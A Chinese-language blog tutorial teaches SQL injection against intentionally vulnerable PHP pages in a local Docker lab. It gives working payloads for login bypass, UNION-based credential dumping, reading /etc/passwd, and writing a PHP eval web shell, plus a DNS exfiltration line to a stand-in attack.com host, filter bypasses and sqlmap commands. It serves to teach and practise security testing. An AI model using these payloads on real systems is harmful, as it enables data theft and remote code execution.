这篇文章发表于 1295 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
SQL注入中的知识内容非常多,有人甚至写了一本书——当时匆匆看了一遍感觉很6但根本不进脑子,还是后来一点点遇到问题积累起来的——回头看看才发觉书写的不错就是东西太多,不适合初学者……所以本文的绝大部分就是针对初学者的(好吧其实我也只会这点)。
本文就是在以前一点一点积累的笔记基础上诞生的,尝试去覆盖一些重要的利用面让人建立起框架而不是纠结某个具体的小技术细节,也就是说bypass手段不会刻意涉及。当然,文章偏向于实战和基础。
希望本文能和那种烂大街的文章有所区别。
实验环境
为了复现方便,这里给个docker统一环境,就以MySQL 5.7.30
为例(其他数据库软件在掌握之后基本也是一个道理,只需要根据语法稍作修改)。
首先拉取LAMP(Linux+Apache+MySQL+PHP)镜像。
1 | docker pull mattrayner/lamp:latest-1804-php7 |
然后跑起来(其中的${PWD}
是指宿主机即将放置PHP文件的文件夹位置),
1 | docker run -d --name mysqlenv -p 80:80 -p 3306:3306 -v ${PWD}:/app mattrayner/lamp:latest-1804-php7 |
直接进入到容器中的MySQL命令行,
1 | docker exec -it mysqlenv mysql # 该镜像的MySQL口令为空 |
要是看到了mysql>
字样的话,环境就配好了。
停止、重启与删除容器。
1 | docker stop mysqlenv |
如果需要可视化界面,直接访问http://127.0.0.1/phpmyadmin
即可,由于空口令无法登陆,请在MySQL命令行中修改口令为password
:SET PASSWORD FOR 'root'@'localhost' = PASSWORD('password');
。然后再去用口令password
登陆。
MySQL基础内容
这里的基本操作还是熟悉一下比较好(尤其是需要出题的人),具体内容参照了这里。
1 | # 创建数据库test |
information_schema与常用函数等
information_schema是用于存储数据库所有元数据的表,它保存了数据库名、表名、列名等信息,这使它在攻击中相当重要。information_schema中的表实际上是视图,而不是基本表,因此文件系统上没有与之相关的文件.
攻击者经常用到的几个表:
- SCHEMATA 表:提供了当前MySQL实例中所有数据库的信息;
- TABLES 表:提供了关于数据库中的表的信息;
- COLUMNS 表:提供了表中的列信息。
1 | # schemata |
接下来介绍常用函数,这些主要是用在判断注入点或者是数据库软件类型(因为像mssql
和mysql
这两种数据库软件在一些函数上存在区别),为后续的操作奠定基础。这里就以MySQL为例,
1 | mysql> select version(); |
这里还有几点干脆也说明了吧:
注释可以尝试采用
-- -
,#
,%23
(这其实是#
的url编码,有时浏览器并不会接受#
,这时可以用它) 这几种形式。注释还有像内联注释
/*!and*/
这种——这是为了让MySQL里面一些特殊的语法能够兼容其他数据库而出现的,也就是说只有在MySQL情况下这里面的and
会运行。对于操作系统是windows的情况,文件夹可以这样
c:\\users\\www
,也可以这样c:/users/www
(注意:前者在编写脚本的时候可能会出现 \\\\ 这种奇怪的写法,请根据转义需要,自己判断)。在SQL中,
and
运算优先级大于or
,&&
和and
意义相同(&
是位运算),||
意义与or
相同。
万能密码
我最开始了解SQL注入的时候就是从这里开始的,但很多人只会给你payloads却没有对造成漏洞的代码逻辑给出解释——非常蠢。
先写个最基本的存在注入的网页程序vuln.php
并放在刚刚环境配置里面提及的${PWD}
目录之下:
1 |
|
很明显上面程序的功能是判断登录——要是用户名和密码能够让SQL语句成功在数据库中搜索到相应数据,就说明登录是有效的。然而事实上它存在漏洞。
尝试并观察网页返回的信息应该就明白这该怎么构造了。以浏览器网址栏输入为例(请注意:如果使用burpsuite或curl这些工具可能会有编码上的区别),以下都是可行的payloads:
http://127.0.0.1/vuln.php?name=a' or 1=1-- -
http://127.0.0.1/vuln.php?name=admin'-- -
http://127.0.0.1/vuln.php?passwd=a' or 1=1-- -
http://127.0.0.1/vuln.php?name=admin'/*&passwd=*/-- -
事实上,这种手段被称为内联注入。http://127.0.0.1/vuln.php?name=admin'%23
由于浏览器的问题,这里必须对#
进行URL编码。
可以看到这里payloads的一条基本特点就是能够闭合SQL语句,并将原来程序中的部分内容注释掉。让SQL语句不出错并且恒为真!
最基本的手工注入
继续接上面的内容。这里还是麻烦一点,尽量把原理讲明白。
把之前存在万能密码漏洞的vuln.php
的逻辑修改掉:
1 |
|
很明显上面程序的功能还是判断登录,可以看到参数都通过GET方法传入(POST型注入无非只是参数通过POST方法传入),因此访问http://127.0.0.1/vuln.php?name=admin&passwd=admin
就得到了Login Succeeded!
。但一个攻击者并不知道数据库中存放的密码和用户名,也不会仅满足于登录成功,而是希望能够脱下整个数据库甚至RCE。
以浏览器网址栏输入为例(请注意:如果使用burpsuite或curl这些工具可能会有编码上的区别),依次进行以下步骤以完成手工注入:
查看注入点
http://127.0.0.1/vuln.php?name=admin'
报错则存在注入点,payload中后面的那个'
是因为要闭合PHP文件中查询语句的第一个'
;http://127.0.0.1/vuln.php?name=admin' order by 4-- -
然后确认出有多少列数据,Unknown column '4' in 'order clause'
的回显说明列数并不是4。http://127.0.0.1/vuln.php?name=admin' order by 3-- -
未发生报错,于是认定程序中涉及到的有3列(也就是程序中写的id, username, password)。http://127.0.0.1/vuln.php?name=error' union select 8,6,4-- -
找到能够返回信息的注入位置。发现返回信息中的id
,username
和password
分别为8,6,4(因为PHP里写的是var_dump
),所以三者皆可,如果程序只返回id
有关8
的信息的话,就说明注入位置只在第一位。另外,为什么要把之前的admin
换成不存在的用户error
?因为select查询只能返回一条信息,而之前的那个select一般来说已经写死在后台PHP里了,为使自己攻击的结果成功输出,必须让它出错(union select怎么用请自查)。http://127.0.0.1/vuln.php?name=error233' union select database(),1,3-- -
假设程序只有注入位置只在第一位,看些数据库信息。http://127.0.0.1/vuln.php?name=admin' and length(database())=4-- -
正确返回则说明database
名字的长度为4。
爆库
http://127.0.0.1/vuln.php?name=error' union select 1, group_concat(schema_name), 3 from information_schema.schemata-- -
可以发现其返回结果把所有的数据库名称返回了。- 若要使用sqlmap工具,
sqlmap -u http://127.0.0.1/vuln.php?name=1 --dbs
。
爆某个库中的表
http://127.0.0.1/vuln.php?name=error' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema='test'-- -
根据之前得到的数据库名test
爆出其中的表名。- 若要使用sqlmap工具,
sqlmap -u http://127.0.0.1/vuln.php?name=1 --tables -D test
。
爆某个表中的列
http://127.0.0.1/vuln.php?name=error' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user'-- -
我们会发现返回的内容似乎不全,需要调整。http://127.0.0.1/vuln.php?name=error' union select 1,group_concat(column_name order by column_name desc),3 from information_schema.columns where table_name='user'-- -
这里尝试对其结果进行降序排列后输出,在这里成功发现了username
和password
这两列。- 若要使用sqlmap工具,
sqlmap -u http://127.0.0.1/vuln.php?name=1 --columns -T user -D test
。
爆列里的所有数据
http://127.0.0.1/vuln.php?name=error' union select 8,username,password from user-- -
这样我们能够获取到的信息非常有限。http://127.0.0.1/vuln.php?name=error' union select 8, group_concat(username, 0x7e, password), 4 from user-- -
这样就能够将其中所有数据获取下来。- 若要使用sqlmap工具,
sqlmap -u http://127.0.0.1/vuln.php?name=1 --dump-all -T user -D test
或者sqlmap -u http://127.0.0.1/vuln.php?name=1 --dump -C username -T user -D test
。
到这里为止,最简单的手工注入流程就结束了。
导入导出文件
这节内容不是特别重要,因为利用条件苛刻,很少能用上。
继续接上面的内容。如果你有一定的权限,那么就完成更多的事情。先在命令行里看看MySQL有没有为攻击者留下了什么惊喜。
1 | mysql> select file_priv from mysql.user where user="root"; |
可以看到,这个环境能够读写一些文件,那么我们如何攻击呢?当然作为攻击者我们不可能一开始就能够在命令行里继续操作,那么又该如何判断自己有无权限呢?这里的权限其实还分为两部分——一个是MySQL程序是否拥有读写的能力,另一个是想读写的文件MySQL用户是否有对应的权限。
这部分内容建议参考这篇文章,这里就挑一些重点。因为本环境并不支持读写文件,发现返回为空或者报错都是正常的。
权限判断
对上述第一点,我们有比较直接的办法。
http://127.0.0.1/vuln.php?name=admin' and (select count(*) from mysql.user)>0-- -
如果返回正常,那么说明至少可以读取文件。另外,还需要注意的是想读取文件大小要小于max_allowed_packet。
读取文件
http://127.0.0.1/vuln.php?name=x' union select 1,2,load_file('/etc/passwd')-- -
试图读取/etc/passwd
文件内容。http://127.0.0.1/vuln.php?name=x' union select 1,2,load_file(2f6574632f706173737764)-- -
同样是试图读取/etc/passwd
文件内容。http://127.0.0.1/vuln.php?name=x' union select 1,2,hex(replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)))-- -
还是试图读取/etc/passwd
文件内容,并且这里的返回内容还是hex格式的。
写入木马
能写文件的话,一般都会选择写能RCE的木马文件,这里的示例木马就采用如下的PHP一句话木马了(之后可以使用Antsword连上去)。
1 | eval($_POST['a']); |
对于Linux系统,
http://127.0.0.1/vuln.php?name=x' union select 1,2,"<?php eval($_POST['a']);?>" into dumpfile "/var/www/html/a.php"-- -
结果发现返回信息是The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
,说明没法写。
对Windows系统,
http://127.0.0.1/vuln.php?name=x' union select 1,2,"<?php eval($_POST['a']);?>" into outfile 'D:/WWW/trojan.php'-- -
http://127.0.0.1/vuln.php?name=x' union select 1,2,UNHEX('3c3f706870206576616c28245f504f53545b2761275d293b3f3e') into outfile 'D:/WWW/trojan.php'-- -
http://127.0.0.1/vuln.php?name=admin' into outfile 'D:/WWW/trojan.php' lines terminated by 0x3c3f706870206576616c28245f504f53545b2761275d293b3f3e-- -
盲注
这节是重点!
不像刚刚最为基础的例子会给你直接返回信息,盲注时想得到的信息往往无法直接反馈到前端页面。只能通过注入后的真假条件相对应的两个不同相应来判断。
为解决这个问题,一般都是需要结合手写脚本或者sqlmap这样的工具才能够完成的——首推自己手写脚本,因为别人的工具很可能抽风。因此接下来会结合脚本进行解释,sqlmap是没有灵魂的。
先看下几类盲注的基本知识点。
布尔盲注
环境的话,将vuln.php
改为如下的内容:
1 |
|
还是登录,但这次我在万能密码那里出现过的程序中的echo mysqli_error($link);
这句给删去了,还把var_dump($row);
注释掉了,因此没有特别直接的回显了。
知道为什么要改万能密码那个PHP文件吗?还记得那些payloads大概样子吧?这就是布尔盲注的基础。
只要将之前的admin' or 1=1-- -
改为admin' or left(database(),1)<'s'-- -
或者admin' or left(database(),1)='t'-- -
观察差别即可。admin' or left(database(),1)<'s'-- -
会显示Login Failed!
而admin' or left(database(),1)='t'-- -
会显示Login Succeeded!
。现在只需要利用这样的特征,就能够一点一点把数据库中的信息获取出来。
像上面这样的left(database(),1)<'s'
其实可以更换为其他一些效果类似的payloads,比如:
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
ascii(substr((select database()),1,1))=98
1=(select user() regexp '^[a-z]')
1=(select user() regexp '^ro')
select * from users where id=1 and 1=(if ((user() regexp '^r'),1,0))
select * from users where id=1 and 1=(user() regexp '^ro')
1=(select user() like 'ro%')
……
一般像这样的payloads的构造以绕过过滤和各种限制就是CTF的考点。具体的可以自己搜,这里不浪费篇幅了。
用手去一点点把信息抠出来实在是有点痴人说梦。那么我们该如何编写脚本呢?
首先,脚本要实现的功能很简单:只需要对可能的注入位置依次尝试payload然后发包,一点点把相应的信息爆破出来即可。
其次,为了有一定的效率,所有盲注脚本我都将采用二分法来提高效率,就比如left(database(),1)<'e'
若为真,下一个就去判定left(database(),1)<'c'
的情况。
针对上面的vuln.php
,以类似于ascii(substr((select database()),1,1))=98
为例,利用脚本如下:
1 | import requests |
将其中的注释依次运行,也就相当于手工注入的过程。其他一些细节仅仅是把答案抠出来的过程而已。
那么问题来了,如果页面连像Failed
和Succeeded
这样的信息都不会回显呢?
时间盲注
修改vuln.php
环境如下:
1 |
|
我将最基本的手工注入部分的代码删去了echo mysqli_error($link);
,但这个比布尔盲注的例子更绝,因为这里无法通过Failed
和Succeeded
这样的信息来实现目标。但时间盲注却可以实现,只要通过判断页面信息返回所需的时间即可——尝试访问http://127.0.0.1/vuln.php?name=admin' and if (ascii(substr(database(),1,1))<115,0,sleep(5))-- -
就懂了。这方面的更多payloads自行检索,一般没这个好用。另外,需要替换sleep
函数的话可参看这里。
事实上,一般布尔盲注能实现的报错盲注和时间盲注也可以,而时间盲注都实现不了的一般就放弃吧。
脚本只要在布尔盲注的基础上稍加修改即可。(懒~)
非主流通道
这类技术是利用非主流带外通道:数据库连接、DNS渗漏、e-mail渗漏、ICMP渗漏来实现的,总之就是返回的信息不走寻常路。payloads的话好比下面这种:
select load_file(concat('\\\\foo.',(select mid(version(),1,1)),'.attack.com\\'));
进阶技巧
这部分讲些更多的大技巧,不会像之前篇幅的内容那样详细,点到为止。(其实就是懒~)
基础绕过技巧
1、and
和or
的绕过。
大小写变形
编码:hex,urlencode
添加注释
/**/
利用符号
&&
,|
,||
和^
2、空格绕过(这里可能和系统环境有关系,在WAMP下不能解析%a0
)。
%09
TAB键(水平)%0a
新建一行%0c
新的一页%0d
return功能%0b
TAB键(垂直)%a0
空格
3、对于一般的replace为空的情况,只要这样就行,比如ununionion
。
4、更多内容参见这里。
报错注入
利用报错所返回的信息来完成攻击。由于手段繁多、用法很活,但绝大多数时候没有使用的必要(大多都能被布尔盲注跑出来),所以不详细写了。详情参见这篇文章和这篇文章。
但其实有些时候还是可以省很多事,所以就举个例子稍微理解下:
1 | $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id']; |
以上是某个CTF比赛中的关键代码,其中只有$row['address']
可控,而相应的flag放在根目录下的flag.txt
文件中。
使用的payload如下:
1 | 1' where user_id=updatexml(1,concat('~',(select load_file('/flag.txt'))),1) -- - |
这种情况使用报错注入事半功倍,另外以上有两条的原因是updatexml
函数只能回显32个字符。
无列名注入
使用的场景:在版本号小于5的MySQL,甚至在版本号大于等于5的MySQL中,WAF将information_schema
的任何调用都列进了黑名单,然后假设我们暴力破解成功获得了表名为user
,但并不知道列名。
由于不知道列名,除了爆破列名这种费时费力未必有效的方法外,还有一种无列名注入的手法,基本原理如下:
1 | mysql> use test; |
二次注入
二次注入其中的第一次注入是将那些能够产生注入效果的字符串存到数据库里面,然后第二次的注入利用通过那个已经存在的注入语句以实现想要的效果。
最为著名的例子就是注册登录绕过。
将vuln.php
改为如下内容(虽然代码很牵强也不太恰当,但为表意方便):
1 |
|
尝试输入http://127.0.0.1/vuln.php?action=add&passwd=123456&name=admin'
,在MySQL命令行里查询一下,
1 | mysql> select * from user; |
随后输入http://127.0.0.1/vuln.php?action=delete&name=admin'-- -
,再次查看,
1 | mysql> select * from user; |
被删除的是最开始的admin
账户。很显然,前者在数据库的插入操作为后者的删去提供了一定的便利性。
(建议重新恢复一下数据库的内容)
HPP攻击
HTTP参数污染,又称HPP:在网站接受用户输入时,将其用于生成发往其它系统的HTTP请求,并且没有校验用户输出——导致出现绕过。它以两种方式产生,通过服务器(后端)或者通过客户端。
简单来说,就是形如index.jsp?id=1&id=2
这样的两个参数在不同的服务器环境之下会被选择性的解析。比如Apache解析的是id=2
的部分。那么只要在使用的时候这样id=-2'...
就有可能实现绕过——如果中间件对index.php?id=-1'...
这样注入的敏感,就可以使用index.php?id=1&id=-2'...
来实现绕过。
宽字节注入
一般来说,这种方法用于绕过一些过滤函数的限制,比如addslashes($string)
。它会在字符串中的单引号'
,双引号"
,反斜杠\
和NULL
这些预定义字符前添加反斜杠。通过将敏感字符%27
('
的url编码)变为%5c%27
(%5c
是\
的url编码),在查询语句中就能够将用户输入的一些非法内容和程序中正常的引号等区别开来,一定程度上能够防住攻击。
当某字符的大小为两个字节时,称其字符为宽字节,比如汉字(单字节是某字符的大小为一个字节,比如英文)。常见的宽字节编码有 GB2312
, GBK
, GB18030
, BIG5
, Shift_JIS
等等。如果将原先最为基本的输入%27
改为%bf%27
(或者%df%27
)。在addslashes
函数的作用下,就会变成%bf%5c%27
,如果编码的特性合适,就会将%bf%5c
转化为一个奇怪的字符,从而将反斜杠\
消除!
以下vuln.php
对万能密码的代码进行了修改:
1 |
|
另外,需要修改test
表和其中列的编码为gbk
:
1 | mysql> ALTER TABLE `user` convert to character set gbk COLLATE gbk_chinese_ci; |
访问http://127.0.0.1/vuln.php?name=admin' or 1=1-- -
会发现由于过滤的存在万能密码失效了;随后访问http://127.0.0.1/vuln.php?name=admin%bf' or 1=1-- -
即可发现宽字节注入成功实现了绕过!
同样可能被宽字节注入攻击的情况还有函数mysql_real_escape_string()
和设置开启magic_quotes_gpc
。
也就是说单一的addslashes与mysql_real_escape_string函数尽管在一定程度上成功防御了普通的注入,但是在特定情况下都可以被绕过。
堆叠注入
就是能够同时注入多条SQL语句,一般就是为了绕过黑名单限制的。一个例子在这里。
order by注入
当后台查询语句类似于select * from user where order by $id;
这种情况时,我们就遇到了所谓的“后台order by注入”情形。
1 |
|
当然在实战中我们没法看到PHP源码,怎么判断是这种注入并且实现攻击呢?
- 判断:请对比
http://127.0.0.1/vuln.php?id=2 asc
和http://127.0.0.1/vuln.php?id=2 desc
的返回结果。 - 布尔注入1:请对比
http://127.0.0.1/vuln.php?id=1 and rand(true)
与http://127.0.0.1/vuln.php?id=1 and rand(false)
的返回结果,只要将rand
里的内容替换为布尔注入的可用payloads即可。时间注入稍改即可。 - 布尔注入2:
http://127.0.0.1/vuln.php?id=(select 1 regexp if(1=2,1,0x00))
。 - 报错注入:
http://127.0.0.1/vuln.php?id=updatexml(1,if(1=2,1,user()),1);
或者http://127.0.0.1/vuln.php?id=extractvalue(1,if(1=2,1,user()));
。 - ……
类似地,还有select * from $id;
这样的“from注入”情形和select * from user where id>0 limit 0,1 $id
这样的“limit注入”情形,建议参看该文章。
sqlmap的一些注意事项
除了自己写的脚本以外,sqlmap也是挺不错的工具(尤其是对懒人而言),基本使用我就不赘述了,可参见这个网站。这里再提几点网上描述较少的内容:
- 当使用
r
参数的时候,必须保证数据包的格式正确:一些行之间不该有空行,而一些行之间存在空行;注意POST和GET有没有搞错。如果你希望针对某个可能存在注入的参数位置,可以在那个位置标上*
号。 - sqlmap的
tamper
参数主要是用于对payloads进行一些变化,一些时候稍加修改甚至直接使用就会很省事。 - sqlmap的
proxy
参数建议填上burpsuite的抓包地址,方便调试。 - sqlmap做题的时候很容易抽风,这时可以下载新版或者dev版本试试运气,但建议手写脚本。
更多SQL注入例子
本博客中还有一些花里胡哨的SQL注入的例子,但对初学者可能略不友好。
postgresql:https://ucasers.cn/your_ip%e9%a2%98%e8%a7%a3/
赛题中出现的:https://ucasers.cn/buuctf-web%e9%a2%98%e8%a7%a3%e6%b3%95%e6%b1%87%e6%80%bb/#SQL_zhu_ru
NoSQL注入
虽然这篇文章中特意准备了一节NoSQL注入,但我个人觉得NoSQL注入不该归属于传统的SQL注入(事实上我所看到的SQL注入的书一般都没提NoSQL),两者完全是不同的,尽管攻击的想法都很类似。
NoSQL指的是非关系型的数据库。NoSQL有时也称作Not Only SQL
的缩写,是对不同于传统的关系型数据库的数据库管理系统的统称。NoSQL用于超大规模数据的存储。这些类型的数据存储不需要固定的模式,无需多余操作就可以横向扩展。像Neo4j,mongoDB和CouchDB就是最为典型的非关系型数据库。由于我只做过一道MongoDB的题(这种题好少),所以干脆就咕咕咕了,故推荐个老哥的文章。
MySQL蜜罐
其实攻击数据库未必只能用SQL注入,还有一些非常基本的用户名密码爆破和利用CVE漏洞等方法来达成对数据库攻击的目的(这部分和SQL注入没太大关系)。
蜜罐就是为了反制攻击而生的。我的蜜罐在公网上挂了几天,捕捉了一个西班牙老哥(根据他的/etc/passwd
文件中的administrador
及其用户名所对应的博客语言判断的),明面上貌似是个开发——看着他尝试登录的文件整整有二十多个,我应该多钓点文件的2333。
具体的内容和技术细节参见本人魔改的项目和其他文章:
https://github.com/UCASZ/MysqlHoneypot
https://lightless.me/archives/read-mysql-client-file.html
http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
cheatsheet
当你忘记命令怎么写的时候不要紧,从这些地方找。
http://pentestmonkey.net/category/cheat-sheet/sql-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
http://securityidiots.com/Web-Pentest/SQL-Injection